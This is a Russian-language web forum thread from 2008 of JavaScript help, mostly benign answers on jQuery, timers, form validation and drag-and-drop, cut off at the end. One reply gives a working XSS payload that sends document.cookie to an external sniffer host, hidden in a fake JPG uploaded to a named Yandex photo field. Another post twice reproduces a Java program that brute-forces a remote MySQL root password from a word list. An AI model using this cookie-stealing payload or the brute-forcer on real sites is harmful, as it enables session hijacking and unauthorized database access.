$("<option></option>")
.attr("value", 1)
.html("PRIMER")
.appendTo(sel);
}
Помогите пожалуйста реализовать так, чтобы данная функция(она срабатывает при onclick в чекбоксе) срабатывала только один раз.

Заранее спасибо.



ps все тот же jquery. эта функция [adda()] добавляет в селект с id=izd новый оптион

ca510
20.03.2008, 18:46
Если другие условия не изменяются - то, очевидно, надо искать проблему в сервере. Но каков же текст ошибки?

проблема точно не в jQuery, подобный код и с использованием Prototype не будет работать под ослом. столкнулся однажды с подобной проблемой и перепробовал различные библиотеки, результат один - осел и есть осел. проблема на самом деле в сервере, если быть точнее в Апаче. на одном амер. форуме встречал обсуждение данной проблемы, но все что написал топикстартер было "все, решил проблему, дело было в настройках апача". конкретного решения данной проблемы не встречал.
может дело в mod_security? у меня проблемы из-за него были с phpMyAdmin - некоторые странички не грузились, хотя все было Ок.

skzi
20.03.2008, 18:50
Если другие условия не изменяются - то, очевидно, надо искать проблему в сервере. Но каков же текст ошибки?

при закачке скрипта в интернет, ие8 выдал слещующие ошибки:

Webpage Script Errors

User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MRA 4.7 (build 01670); .NET CLR 1.1.4322; InfoPath.1)
Timestamp: Thu, 20 Mar 2008 13:40:04 UTC

0.
Message: Invalid argument.
Line: 656
Char: 4
Code: 0
URI: http://geeforce.jino-net.ru/bla/kalk.php

1.
Message: Invalid argument.
Line: 2649
Char: 7
Code: 0
URI: http://geeforce.jino-net.ru/bla/kalk.php

2.
Message: Invalid argument.
Line: 2649
Char: 7
Code: 0
URI: http://geeforce.jino-net.ru/bla/kalk.php

3.
Message: Invalid argument.
Line: 2649
Char: 7
Code: 0
URI: http://geeforce.jino-net.ru/bla/kalk.php

4.
Message: Invalid argument.
Line: 2649
Char: 7
Code: 0
URI: http://geeforce.jino-net.ru/bla/kalk.php

5.
Message: Invalid argument.
Line: 2649
Char: 7
Code: 0
URI: http://geeforce.jino-net.ru/bla/kalk.php

life_is_shit
20.03.2008, 19:32
2 all:
алуйста реализовать так, чтобы данная функция(она срабатывает при onclick в чекбоксе) срабатывала только один раз.



var flag=0;
function adda(){
if (flag == 0)
{
var sel = $("#izd");
$("<option></option>")
.attr("value", 1)
.html("PRIMER")
.appendTo(sel);
flag = 1;
}
}

можна так.

astrologer
20.03.2008, 23:31
skzi, jino-net добавляет к каждому запросу рекламу:
<br>
Приняты данные: glanec<br>ID принятого элемента: bumaga
<span style="display:none;"><script type="text/javascript" src="http://www.jino-net.ru/sys/htmlbegun.js"></script></span>
<script type="text/javascript" src="http://www.jino-net.ru/sys/swfobject.js"></script>
<script type="text/javascript" src="http://www.jino-net.ru/sys/htmljino.js"></script>
<script type="text/javascript" src="http://www.jino-net.ru/sys/mainjs.php"></script>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">
_uacct = "UA-1275823-1";
urchinTracker();
</script> Вероятно, из-за этого и появляются ошибки.
В любом случае, сейчас проверил основной код на другом сервере, ошибок нет, в том числе в IE6, так что код точно рабочий и проблема не в нём.
Помогите пожалуйста реализовать так, чтобы данная функция(она срабатывает при onclick в чекбоксе) срабатывала только один раз.Может, стоит проверять наличие результата этой функции? т.е. если уже существует элемент, который функция должна была создать, значит, она уже запускалась.

Дикс
25.03.2008, 10:04
на сайте megafonsib.ru/sendsms есть форма для отправления смс.
в ней поле для ввода номера телефона - <input name="tll" value="" size="15" maxlength="7" type="text">

пытаюсь получить к нему доступ:
alert( document.getElementsByName("ttl").innerText)

не канает ни иннерТекст, ни валуе. Что делать?

NOmeR1
25.03.2008, 11:38
alert(document.getElementsByName("ttl").value)

astrologer
25.03.2008, 12:15
document.getElementsByName("ttl") возвращает коллекцию. Поэтому нужно сначала выбрать, какой элемент этой коллекции использовать:
document.getElementsByName("ttl")[0].value

Дикс
25.03.2008, 12:48
а в чём разница? у меня этот вариант не работает

astrologer
25.03.2008, 13:09
а в чём разница? у меня этот вариант не работает
Наверное, потому, что я посмотрел на предыдущее сообщение и тоже написал имя "ttl" вместо "tll".
А разница значительная - т.к. коллекция - по сути, массив ссылок на элементы. Какая разница между элементом массива и всем массивом? Как тут объяснишь?

Metall
25.03.2008, 21:14
В C++ есть функция delay(), как называется аналог этой функции в JavaScript’е?

astrologer
25.03.2008, 21:30
В JS есть функции setTimeout и setInterval. Уже было (https://forum.antichat.ru/showpost.php?p=622362&postcount=388) в этой теме.

Metall
25.03.2008, 22:22
Спасибо.

xxxxxxxxxxxxxxx
26.03.2008, 22:56
нужен скрипт который бы выводил последовательно на слово1 патом слово 2 патом слово3 раз в секунду

astrologer
26.03.2008, 23:09
<div id="dummy">

</div>

<script>

var words = ['слово раз', 'слово два', 'слово три'];

setInterval(function()
{
var node, word;
if((node = document.getElementById('dummy')) && (word = words.shift()))
{
node.innerHTML += word + '<br />';
}
}, 1000);

</script>

d_x
26.03.2008, 23:21
Наверно, так лучше будет, не будет бесконечного интервала:


<html>
<head>
<script language='JavaScript'>
var words=new Array("Слово 1","Слово 2","Слово 3");

var curr=0;



function print_word()
{
if(words[curr])
{
document.getElementById("words").innerHTML=document.getElementById("words").innerHTML+"<br>"+words[curr];
curr++;
setTimeout("print_word()",1000);
}
}

</script>
</head>
<body onload="print_word()">
<span id="words"></span>
</body></html>

xxxxxxxxxxxxxxx
26.03.2008, 23:30
а как выровнять этот скрипт по центру скажи плиз чтоб слова по центру страницы выбивало

d_x
26.03.2008, 23:44
<html>
<head>
<script language='JavaScript'>
var words=new Array("Слово 1","Слово 2","Слово 3");

var curr=0;



function print_word()
{
if(words[curr])
{
document.getElementById("words").innerHTML=document.getElementById("words").innerHTML+"<br>"+words[curr];
curr++;
setTimeout("print_word()",1000);
}
}

</script>
</head>
<body onload="print_word()">
<center><span id="words"></span></center>
</body></html>

Dimi4
26.03.2008, 23:45
Как квнедрить джаваскрипт в браузер? Тоесть чтобы он исполнялся, каждый раз, как юзер откроет браузер. (Для осла)

astrologer
27.03.2008, 00:01
Вот так и не будет бесконечного интервала:
<div id="dummy"></div>

<script>

var words = ['слово раз', 'слово два', 'слово три'];

var timer = setInterval(function()
{
var node, word;
if((node = document.getElementById('dummy')) && (word = words.shift()))
{
node.innerHTML += word + '<br />';
}
else clearInterval(timer);
}, 1000);

</script>

d_x, вместо такого:
setTimeout("print_word()",1000);лучше и проще писать так:
setTimeout(print_word, 1000);Потому, что в первом случае код исполняется методом, близким к eval(), а во втором - сразу передаётся ссылка на функцию.

Dimi4 Как userJS в опере? Тогда Trixie (http://www.bhelpuri.net/Trixie/)

d_x
27.03.2008, 00:18
astrologer, в первом-то варианте скрипта не было строчки
else clearInterval(timer);
И надо бы это запускать при событии onload, потому что при медленном соединении браузер может начать исполнять код, когда вся страница ещё не догрузилась (в частности, объект dummy) и
document.getElementById('dummy') не вернёт ничего, то есть слова не будут выведены (встречал такое в IE).

astrologer
27.03.2008, 01:23
astrologer, в первом-то варианте скрипта не было строчки
else clearInterval(timer);
ОМГ, конечно, или я стал бы постить ещё раз тот же самый код?
И надо бы это запускать при событии onload, потому что при медленном соединении браузер может начать исполнять код, когда вся страница ещё не догрузилась (в частности, объект dummy) и
document.getElementById('dummy') не вернёт ничего, то есть слова не будут выведены (встречал такое в IE).В данном примере этого не случится. Более того, чем медленнее соединение - тем лучше.

Architek86
04.04.2008, 00:45
Ламерский вопрос, но всё же..
Нужен javascript, который в зависимсоти от браузера подключал нужный файл стилей - если Опера, то opera.css, если любой другой, то all.css...
помогите ламерчегу :)

d_x
04.04.2008, 09:48
<head>
<script language='JavaScript'>
var uagent=navigator.userAgent.toLowerCase();
var is_opera=(uagent.indexOf('opera')!=-1);
if(is_opera)
document.write("<link rel='stylesheet' href='стиль_оперы.css' type='text/css'>");
else
document.write("<link rel='stylesheet' href='стиль_всех.css' type='text/css'>");
</script></head><body>тело документа...</body>
А можно в css использовать конструкции, которые только опера понимает, например,
background-image/**/: ....
то есть после имени параметра ставить /**/

smOleg
04.04.2008, 12:24
Ламерский вопрос, но всё же..
Нужен javascript, который в зависимсоти от браузера подключал нужный файл стилей - если Опера, то opera.css, если любой другой, то all.css...
помогите ламерчегу :)

на пхп
_http://xpoint.ru/forums/internet/html_css/compatibility/thread/40332.xhtml

А можно в css использовать конструкции, которые только опера понимает, например,
background-image/**/: ....
это уже хак. Наверно человеку это ненадо раз так вопрос поставил

Architek86
06.04.2008, 00:15
на пхп
_http://xpoint.ru/forums/internet/html_css/compatibility/thread/40332.xhtml
Хм.. полезно, но не годится - у меня сайт на юкозе, а там пхп нет :)

De-visible
06.04.2008, 01:40
_http://maxq.ru/blog/opredelenie-brauzera-na-javascript/
Пригодится!

Isis
07.04.2008, 01:16
Нужен следующий js скрипт:
Сделать так чтобы пользователь мог вводить в форму только БОЛЬШИЕ латинские буквы и цифры

Воть)

ZET36
07.04.2008, 01:59
Нужен следующий js скрипт:
Сделать так чтобы пользователь мог вводить в форму только БОЛЬШИЕ латинские буквы и цифры

Воть)

держи


<form name="f">
<input type="text" name="n" onKeyUp="zet()">
</form>

<script>
function zet()
{
var lowerText=document.f.n.value;
document.f.n.value=lowerText.toUpperCase();
}
</script>

Isis
07.04.2008, 02:22
Спасибо, но не вижу проверку на латиницу..
Русские символы не нужны...
И можно ли сделать так чтобы если поставил русскую букву, то она автоматом сменилась на английскуй на той же раскладке?
Т.е. ввели букву "щ", она поменялась на "o" латинскую

ZET36
07.04.2008, 04:01
Спасибо, но не вижу проверку на латиницу..
Русские символы не нужны...
И можно ли сделать так чтобы если поставил русскую букву, то она автоматом сменилась на английскуй на той же раскладке?
Т.е. ввели букву "щ", она поменялась на "o" латинскую

сори неувидел. встроенную функцию для такой замены я что то ненашол. можно написать самому вот пример


<form name="f">
<input type="text" name="n" onKeyUp="zet()">
</form>

<script>
function zet()
{
var lowerText=document.f.n.value;
lowerText=lowerText.replace(/й/g, "q"); // замена "р" на "r"
lowerText=lowerText.toUpperCase(); // все буквы в строке заглавные
document.f.n.value=lowerText;
}
</script>

в лом переписывать весь алфавит я просто привёл пример замены одной бувы

Isis
07.04.2008, 05:57
Огромное спасибо..все работает

ZET36
07.04.2008, 13:12
Isis

блин немножко правда ошибся сначало нужно было поставиьть возведение в заглавные а патом замена букв. что бы непрописывать замену например й и Й отдельно. тут сразу строка преобразует в зглавную а потом заменяет её


<form name="f">
<input type="text" name="n" onKeyUp="zet()">
</form>

<script>
function zet()
{
var lowerText=document.f.n.value;
lowerText=lowerText.toUpperCase(); // все буквы в строке заглавные
lowerText=lowerText.replace(/В/g, "V"); // замена "В" на "V"
document.f.n.value=lowerText;
}
</script>

astrologer
07.04.2008, 15:38
Мой вариант %)<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Пример.</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

<style type="text/css">

input.err,
textarea.err
{
border: red dashed 2px;
}

input, textarea
{
font-family: "Courier New";
margin-bottom: 10px;
}

pre
{
margin: 0;
}

</style>


<script type="text/javascript">

var Forms =
{
onsubmit: function(e)
{
if(!e) e = window.event;
var node = e.target || e.srcElement;

if(!Forms.validate(node))
{
e.returnValue = false;
if(e.preventDefault) e.preventDefault();
}
},

onkeypress: function(e)
{
if(!e) e = window.event;
var node = e.target || e.srcElement,
key = e.charCode || e.keyCode,
exp = node.getAttribute('regex'),
str = String.fromCharCode(key);

if(!(key < 32 || e.ctrlKey || e.altKey) && !Forms.test(str, exp))
{
Forms.notify(node);
e.returnValue = false;
if(e.preventDefault) e.preventDefault();
}
},

validate: function(node)
{
var valid = true;
for(i = 0;i<node.length;i++)
{
if(!Forms.check(node[i]))
{
Forms.notify(node[i]);
valid = false;
}
}
return valid;
},

check: function(node)
{
var r;
if((r = node.getAttribute('regex')) == undefined) return true;
return (Forms.test(node.value, r) ? true : (Forms.notify(node), false));
},

test: function(str, exp)
{
return (new RegExp(exp)).test(str);
},

notify: function(node)
{
var c = node.className;
if(c != 'err')
{
node.className = 'err';
setTimeout(function()
{
node.className = c;
}, 1500);
}
},

init: function()
{
var f = document.forms, i = f.length;
while(i--)
{
addEvent(f[i], 'submit', Forms.onsubmit);
addEvent(f[i], 'keypress', Forms.onkeypress);
}
}
};

function addEvent(o, e, f)
{
if(o.addEventListener)
{
o.addEventListener(e, f, false);
}
else if(o.attachEvent)
{
var on = 'on' + e;
o.attachEvent(on, f)
}
};

addEvent(window, 'load', Forms.init);

</script>

</head>
<body>

<div>
<form action="javascript:alert('#1')">
<pre>[A-Z0-9]+</pre>
<input name="uan" type="text" regex="[A-Z0-9]+" value="">

<pre>[0-9]+</pre>
<input name="an" type="text" regex="[0-9]+" value=""><br>
<input name="run" type="submit" value="Отправить">
</form>
</div>

<div>
<form action="javascript:alert('#2')">
<pre>[A-Z0-9]+</pre>
<input name="uan" type="text" regex="[A-Z0-9]+" value="">

<pre>[a-zA-Z0-9]+</pre>
<input name="an" type="text" regex="[a-zA-Z0-9]+" value="">

<pre>[a-z]+</pre>
<input name="a" type="text" regex="[a-z]+" value="">

<pre>^[\w\ ]*$</pre>
<textarea name="txt" regex="^[\w\ ]*$" cols="20" rows="5"></textarea><br>
<input name="run" type="submit" value="Отправить">
</form>
</div>

</body>
</html>

Isis
07.04.2008, 15:54
Хм..что за параметр regex в хтмл коде?
В гугле не нашел, в скрипте не вижу

astrologer
07.04.2008, 15:56
Хм..что за параметр regex в хтмл коде?
В гугле не нашел, в скрипте не вижу
Просто контейнер для выражения. В скрипте:
getAttribute('regex')

Rogun
09.04.2008, 00:06
Сорри за такой вопрос вопрос, но как юзать Java скрипт?
Я скачал там и у меня как обычный тестовый фаил только в формате Java
Надо ещё программы для чтения ява скриптов устанавливать или как?

Isis
09.04.2008, 01:06
astrologer, но это не валидно

orcismylife
09.04.2008, 02:44
Я двигаю слой. Как узнать текущее положение слоя по x и по у? А впоследствии записать эти значения в файл.

VDShark
09.04.2008, 09:04
offsetLeft и offsetTop.
А в файл самим JS не запишешь (если мы говорим о клиенте).
На серве легче всего средствами php. Передаешь из JS-скрипта значения на PHP-скрипт, и записываешь их в файл.

orcismylife
09.04.2008, 11:06
VDShark, не получилось, FF вообще не показывает такой параметр, а IE пишет "undefinied" =\

Вот пример того, что я делаю, помоги пожалуйста :)
http://webfile.ru/1860086

надо, чтобы скрипт показывал текущее положение слоя по х и по у

astrologer
09.04.2008, 11:28
Isis, можно поменять на title или хранить отдельно в массиве.

orcismylife, window.onload = function()
{
var node = document.getElementById('drag1');
alert('offsetTop: ' + node.offsetTop + '\n' + 'offsetLeft: ' + node.offsetLeft);
};

orcismylife
09.04.2008, 11:36
astrologer, нужно чтобы при каждом дропе писалось значение, а не толко при старте :(
Это возможно, учитывая те яваскрипты, которые я дал в архиве?

astrologer
09.04.2008, 11:41
astrologer, нужно чтобы при каждом дропе писалось значение, а не толко при старте :(
Это возможно, учитывая те яваскрипты, которые я дал в архиве?Я лишь показал, что значение всё же определено.
А вообще, думаю, тебе пригодится DOM-Drag.js (автор не я): /**************************************************
* dom-drag.js
* 09.25.2001
* www.youngpup.net
**************************************************
* 10.28.2001 - fixed minor bug where events
* sometimes fired off the handle, not the root.
**************************************************/

var Drag = {

obj : null,

init : function(o, oRoot, minX, maxX, minY, maxY, bSwapHorzRef, bSwapVertRef, fXMapper, fYMapper)
{
o.onmousedown = Drag.start;

o.hmode = bSwapHorzRef ? false : true ;
o.vmode = bSwapVertRef ? false : true ;

o.root = oRoot && oRoot != null ? oRoot : o ;

if (o.hmode && isNaN(parseInt(o.root.style.left ))) o.root.style.left = "0px";
if (o.vmode && isNaN(parseInt(o.root.style.top ))) o.root.style.top = "0px";
if (!o.hmode && isNaN(parseInt(o.root.style.right ))) o.root.style.right = "0px";
if (!o.vmode && isNaN(parseInt(o.root.style.bottom))) o.root.style.bottom = "0px";

o.minX = typeof minX != 'undefined' ? minX : null;
o.minY = typeof minY != 'undefined' ? minY : null;
o.maxX = typeof maxX != 'undefined' ? maxX : null;
o.maxY = typeof maxY != 'undefined' ? maxY : null;

o.xMapper = fXMapper ? fXMapper : null;
o.yMapper = fYMapper ? fYMapper : null;

o.root.onDragStart = new Function();
o.root.onDragEnd = new Function();
o.root.onDrag = new Function();
},

start : function(e)
{
var o = Drag.obj = this;
e = Drag.fixE(e);
var y = parseInt(o.vmode ? o.root.style.top : o.root.style.bottom);
var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
o.root.onDragStart(x, y);

o.lastMouseX = e.clientX;
o.lastMouseY = e.clientY;

if (o.hmode) {
if (o.minX != null) o.minMouseX = e.clientX - x + o.minX;
if (o.maxX != null) o.maxMouseX = o.minMouseX + o.maxX - o.minX;
} else {
if (o.minX != null) o.maxMouseX = -o.minX + e.clientX + x;
if (o.maxX != null) o.minMouseX = -o.maxX + e.clientX + x;
}

if (o.vmode) {
if (o.minY != null) o.minMouseY = e.clientY - y + o.minY;
if (o.maxY != null) o.maxMouseY = o.minMouseY + o.maxY - o.minY;
} else {
if (o.minY != null) o.maxMouseY = -o.minY + e.clientY + y;
if (o.maxY != null) o.minMouseY = -o.maxY + e.clientY + y;
}

document.onmousemove = Drag.drag;
document.onmouseup = Drag.end;

return false;
},

drag : function(e)
{
e = Drag.fixE(e);
var o = Drag.obj;

var ey = e.clientY;
var ex = e.clientX;
var y = parseInt(o.vmode ? o.root.style.top : o.root.style.bottom);
var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
var nx, ny;

if (o.minX != null) ex = o.hmode ? Math.max(ex, o.minMouseX) : Math.min(ex, o.maxMouseX);
if (o.maxX != null) ex = o.hmode ? Math.min(ex, o.maxMouseX) : Math.max(ex, o.minMouseX);
if (o.minY != null) ey = o.vmode ? Math.max(ey, o.minMouseY) : Math.min(ey, o.maxMouseY);
if (o.maxY != null) ey = o.vmode ? Math.min(ey, o.maxMouseY) : Math.max(ey, o.minMouseY);

nx = x + ((ex - o.lastMouseX) * (o.hmode ? 1 : -1));
ny = y + ((ey - o.lastMouseY) * (o.vmode ? 1 : -1));

if (o.xMapper) nx = o.xMapper(y)
else if (o.yMapper) ny = o.yMapper(x)

Drag.obj.root.style[o.hmode ? "left" : "right"] = nx + "px";
Drag.obj.root.style[o.vmode ? "top" : "bottom"] = ny + "px";
Drag.obj.lastMouseX = ex;
Drag.obj.lastMouseY = ey;

Drag.obj.root.onDrag(nx, ny);
return false;
},

end : function()
{
document.onmousemove = null;
document.onmouseup = null;
Drag.obj.root.onDragEnd( parseInt(Drag.obj.root.style[Drag.obj.hmode ? "left" : "right"]),
parseInt(Drag.obj.root.style[Drag.obj.vmode ? "top" : "bottom"]));
Drag.obj = null;
},

fixE : function(e)
{
if (typeof e == 'undefined') e = window.event;
if (typeof e.layerX == 'undefined') e.layerX = e.offsetX;
if (typeof e.layerY == 'undefined') e.layerY = e.offsetY;
return e;
}
};Тут нужно только необходимые параметры указать.

servior
09.04.2008, 14:18
Вопрос к отцам. подскажите как вставить код xss-ки в jpg?

ZET36
09.04.2008, 14:39
подскажите как вставить код xss-ки в jpg?

ды очень просто. берёш запихиваеш код передачи куков на сниф
<script>img = new Image(); img.src = "http://antichat.org/s/red.gif?"+document.cookie;</script>

в текст документ и сохраняеш с расширением .jpg и пытаешся залить эту картинку на сайт жертвы. если есть фильтрация то скажет что формат не поддерживается.. если нет то картинка загрузится и значит xss есть

вот пример такой уязвимости хсс в картинке на яндэксе
http://narod.yandex.ru/community/photo/48/156948.jpg

скрипт в картинке можно залить в поле Фотография когда создаёш сообщество.

но такие хсс в картинках актуальны только под осликом

ZET36
09.04.2008, 15:15
Сорри за такой вопрос вопрос, но как юзать Java скрипт?
Я скачал там и у меня как обычный тестовый фаил только в формате Java
Надо ещё программы для чтения ява скриптов устанавливать или как?

интерпретатор джава скрипта уже установлен в винде C:\WINDOWS\system32\cscript.exe

а выполнять java скрипты можно например так

создаёш текстовый документ пишеш в нём

<script>
тут твой скрипт
</script>

и сохраняеш с расширением .html

или например если хочеш выполнить скрипт который у тебя находится в файле скрипт.js то создаёш текстовый документ пишеш в нём


<script src="путь к срипту/скрипт.js"></script>

и сохраняеш с расширением .html

Rogun
09.04.2008, 18:25
Что то я правильно всё сделал открываю и просто высвечивается белый экран по адресу file://localhost/C:/scrtipt_name.html (открывается при юзании фаила)
Это поидее скрипт для брута MySQL базы если к ней есть доступ не только с localhost (не хэша!):


/* ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++
+This is a little Disclaimer for if you havn't read the on on our site. + +The tools and
tutorials KD-Team develops and publishes are only ment
for + +educational purpose only.WE DO
NOT encourage the use of this tools and +
+tutorials for mailicious purpose.We learned a lot during
the development of them + +so we hope you also
learn and don't just use it without any brains.
+ +We take completly NO responsability for any
damage caused by them nor + +are we or our isp
responsible for what you do with them.
+ +Greetz: KD-Team
+ + http://www.kd-team.com
+
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++
*/ /* * Created on 1-okt-2005 * SSLClient v0.1 *
TODO: * - implement logger * * Credits: * * Author: KD-Team */ import java.sql.*;
import java.io.*; public class BruteMySql {
public static void main(String[] args) {
BufferedReader passwordReader; String
curPass = ""; String passFileName = "pass.txt"; Connection con = null; try { Class.forName("com.mysql.jdbc.Driver"); } catch (ClassNotFoundException cnfe) { cnfe.printStackTrace(); System.exit(0); } try { passwordReader = new BufferedReader(new FileReader(passFileName)); while((curPass = passwordReader.readLine()) != null) { try { String url ="jdbc:mysql://
***.***.***,***:3306/";
DriverManager.setLoginTimeout(7);
con =
DriverManager.getConnection(url,"root", curPass);
}
catch(SQLException sqle)
{
//just ignore the password which are
incorrect }
if(con != null)
{
con.close();
break;
} }
}
catch(FileNotFoundException fnfe) {
System.out.println("file
with passes not found");
return; }
catch(IOException ioe) {

System.out.println(ioe.getStackTrace()); return; } catch(SQLException sqle)
{ //ignore if we aren't able to close the connection }
System.out.println("CORRECT
PASS: " + curPass); } }

ZET36
10.04.2008, 01:10
Rogun
это не javasript это Java два разных языка
так же как и vbscript (Visual Basic Script) и Basic

Rogun
10.04.2008, 01:42
Rogun
это не javasript это Java два разных языка
так же как и vbscript (Visual Basic Script) и Basic
оО а я думаю, что то не то=/ а как запустить это? :confused: а то там всё равно текстовый фаил в формате "JAVA" через cmd он просто тупо открывается как тестовик ....
/* ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++
+This is a little Disclaimer for if you havn't read the on on our site. + +The tools and
tutorials KD-Team develops and publishes are only ment
for + +educational purpose only.WE DO
NOT encourage the use of this tools and +
+tutorials for mailicious purpose.We learned a lot during
the development of them + +so we hope you also
learn and don't just use it without any brains.
+ +We take completly NO responsability for any
damage caused by them nor + +are we or our isp
responsible for what you do with them.
+ +Greetz: KD-Team
+ + http://www.kd-team.com
+
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++
*/ /* * Created on 1-okt-2005 * SSLClient v0.1 *
TODO: * - implement logger * * Credits: * * Author: KD-Team */ import java.sql.*;
import java.io.*; public class BruteMySql {
public static void main(String[] args) {
BufferedReader passwordReader; String
curPass = ""; String passFileName = "pass.txt"; Connection con = null; try { Class.forName("com.mysql.jdbc.Driver"); } catch (ClassNotFoundException cnfe) { cnfe.printStackTrace(); System.exit(0); } try { passwordReader = new BufferedReader(new FileReader(passFileName)); while((curPass = passwordReader.readLine()) != null) { try { String url ="jdbc:mysql://
***.***.***.***:3306/";
DriverManager.setLoginTimeout(7);
con =
DriverManager.getConnection(url,"root", curPass);
}
catch(SQLException sqle)
{
//just ignore the password which are
incorrect }
if(con != null)
{
con.close();
break;
} }
}
catch(FileNotFoundException fnfe) {
System.out.println("file
with passes not found");
return; }
catch(IOException ioe) {

System.out.println(ioe.getStackTrace()); return; } catch(SQLException sqle)
{ //ignore if we aren't able to close the connection }
System.out.println("CORRECT
PASS: " + curPass); } }

ZET36
10.04.2008, 02:08
оО а я думаю, что то не то=/ а как запустить это? :confused: а то там всё равно текстовый фаил в формате "JAVA" через cmd он просто тупо открывается как тестовик ....


скачай java компилятор
http://qiq.ru/28/12/2006/programmy/jdk_and_jre___60.html

и вот почитай как запустить программу на java
http://coffeevarka.narod.ru/javatut/chap12.html

Корвин
10.04.2008, 10:20
народ, как сделать чтоб форма по нажатию ентера отправлялась???

VDShark
10.04.2008, 11:20
<html>
<head>
<script type="text/javascript">
function subm(frm){
if(event.keyCode == '13') frm.submit();
}
</script>
</head>
<body>
<form onkeypress="subm(this);">
<textarea></textarea>
</form>
</body>
</html>

Нечто вроди такого... другой вопрос что на энтер м.б.не оч удобно - но думаю по подобию сделаешь.

Корвин
10.04.2008, 11:46
<html>
<head>
<script type="text/javascript">
function subm(frm){
if(event.keyCode == '13') frm.submit();
}
</script>
</head>
<body>
<form onkeypress="subm(this);">
<textarea></textarea>
</form>
</body>
</html>

Нечто вроди такого... другой вопрос что на энтер м.б.не оч удобно - но думаю по подобию
сделаешь.


спасиб, сработало, только onkeypress нада было не в form а в input запихивать

а блин облом, onkeypress срабатывает принажатии любой кнопки. так что не возмозно ввести ничо в поля

astrologer
10.04.2008, 12:03
Ctrl + Enter<html>
<head>
<script type="text/javascript">

function process(node, e)
{
if(e.ctrlKey && e.keyCode == 13) node.submit();
};

</script>
</head>
<body>

<form onkeypress="process(this, event);">
<textarea></textarea>
<input type="text">
</form>

</body>
</html>

Корвин
10.04.2008, 13:16
Ctrl + Enter<html>
<head>
<script type="text/javascript">

function process(node, e)
{
if(e.ctrlKey && e.keyCode == 13) node.submit();
};

</script>
</head>
<body>

<form onkeypress="process(this, event);">
<textarea></textarea>
<input type="text">
</form>

</body>
</html>

мне нужно просто ентер

astrologer
10.04.2008, 13:27
мне нужно просто ентер
1) В поле <input type="text"> нажатие энтера отправляет форму и без скрипта.
2) В поле <textarea> нужно как-то ставить перенос строки, верно?

Корвин
10.04.2008, 13:33
1) В поле <input type="text"> нажатия энтера отправляет форму и без скрипта.
2) В поле <textarea> нужно как-то ставить перенос строки, верно?

у меня <input type="password"> при нажатии в нем должно отправлять, это форма входа

astrologer
10.04.2008, 13:43
у меня <input type="password"> при нажатии в нем должно отправлять, это форма входаВсё отправляется:<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Проверка.</title>
</head>
<body>

<form action="javascript:alert('ok')">
<input name="login" type="text">
<input name="passw" type="password">
</form>

</body>
</html>

Корвин
10.04.2008, 14:14
Всё отправляется:

<form action="
<?if ($_SESSION['visitor_type']!='admin')
{echo '/';}
else
{echo '/personal/';}?>" method="POST" name="auth_form" style="margin:0px; padding:0px">
<? if (!$_SESSION["visitor"]) { ?>
<tr>
<td id="print" class="li4niy_kab">Вход в личный кабинет:</td>
</tr>
<tr>
<td id="print" style="padding: 0px;margin:0px;">
<table width="1" align="center">
<tr>
<tr>
<td><input style="border:1px solid #578fab; width:256px;" type="text" name="auth_nickname"></td>
</tr>
<tr>

<td><nobr><input style="border:1px solid #578fab; width:256px;" type="password" name="auth_password">
<a href="#" onfocus="this.blur()" onClick="document.forms.auth_form.submit(); return false;">
<img style="margin: 9px;" align="absmiddle" src="/img/enter.gif" width="8" height="18" border="0"></a></nobr></td>
</tr>
<tr>

не отправляет =(

Корвин
10.04.2008, 14:31
все отбой)) у мну там не было <input type="submit"> ваапще, у меня форма онкликом откравлялась, вставил в форму <span style="visibility: hidden;"><input type="submit"></span> и ентер заработал

4NT1P0V
10.04.2008, 18:41
<p>
<td> <script type="text/javascript">//<![CDATA[
function checkform(f)
{
if (f.Имя.value=="")
{
alert("Вы заполнели не все обязательные поля.");
return false;
}
if (f.Телефон.value=="")
{
alert("Вы заполнели не все обязательные поля.");
return false;
}
if (f.E-mail.value=="")
{
alert("Вы заполнели не все обязательные поля.");
return false;
}
if (f.Расстояние от МКАД до объекта.value=="")
{
alert("Вы заполнели не все обязательные поля.");
return false;
}
if (f.Ширина дома.value=="")
{
alert("Вы заполнели не все обязательные поля.");
return false;
}
if (f.Длина дома.value=="")
{
alert("Вы заполнели не все обязательные поля.");
return false;
}
if (f.Кол-во этажей.value=="")
{
alert("Вы заполнели не все обязательные поля.");
return false;
}
if (f.Кол-во окон.value=="")
{
alert("Вы заполнели не все обязательные поля.");
return false;
}

}
//]]></script>
<div align="center">
<pre><strong><font face="Times New Roman, Times, serif" size="5">Предварительная заявка</font><font face="Times New Roman, Times, serif" size="3">
(Поля отмеченные <font color="#ff0000">* </font>обязательны к заполнению!)</font></strong></pre>
</div>
<form name="form1" method="post" action="mail.php" onsubmit="return checkform(this)">

<center>
<font face="Times New Roman, Times, serif" size="3"> <br>
<font face="Times New Roman, Times, serif" size="3"><strong>Ваше
имя</strong>
<input name="Имя" type="text">
<font color="#ff0000">*</font> </font> <br>
<font face="Times New Roman, Times, serif" size="3"><strong>Контактный
телефон</strong>
<input name="Телефон" type="text">

<font color="#ff0000">*</font> </font> <br>
<font face="Times New Roman, Times, serif" size="3"><strong>E-Mail</strong>
<input name="E-mail" type="text">
<font color="#ff0000">*</font></font> <br> <br><br>
<input name="submit" value="Отправить заказ" type="submit">
</font>
</center>
</form>

Подскажите скрипт который делает так, что поля отмеченные * обязательные для заполнения..

astrologer
10.04.2008, 19:13
f.Расстояние от МКАД до объекта.value =)
Жаль что JS-движок такого не умеет

4NT1P0V
10.04.2008, 19:14
Ну я не виноват что это в бланке заявки)) просто для бати сайт делаю....

d_x
10.04.2008, 19:25
Можно так проверку сделать, этот скрипт ещё будет ставить фокус ввода на первое найденное незаполненное поле.
PS. Исправил грамматические и пунктуационные ошибки:)

<script language='JavaScript'>
function checkform()
{
if (document.getElementById('name').value=="")
return bad_data('name');

if (document.getElementById('phone').value=="")
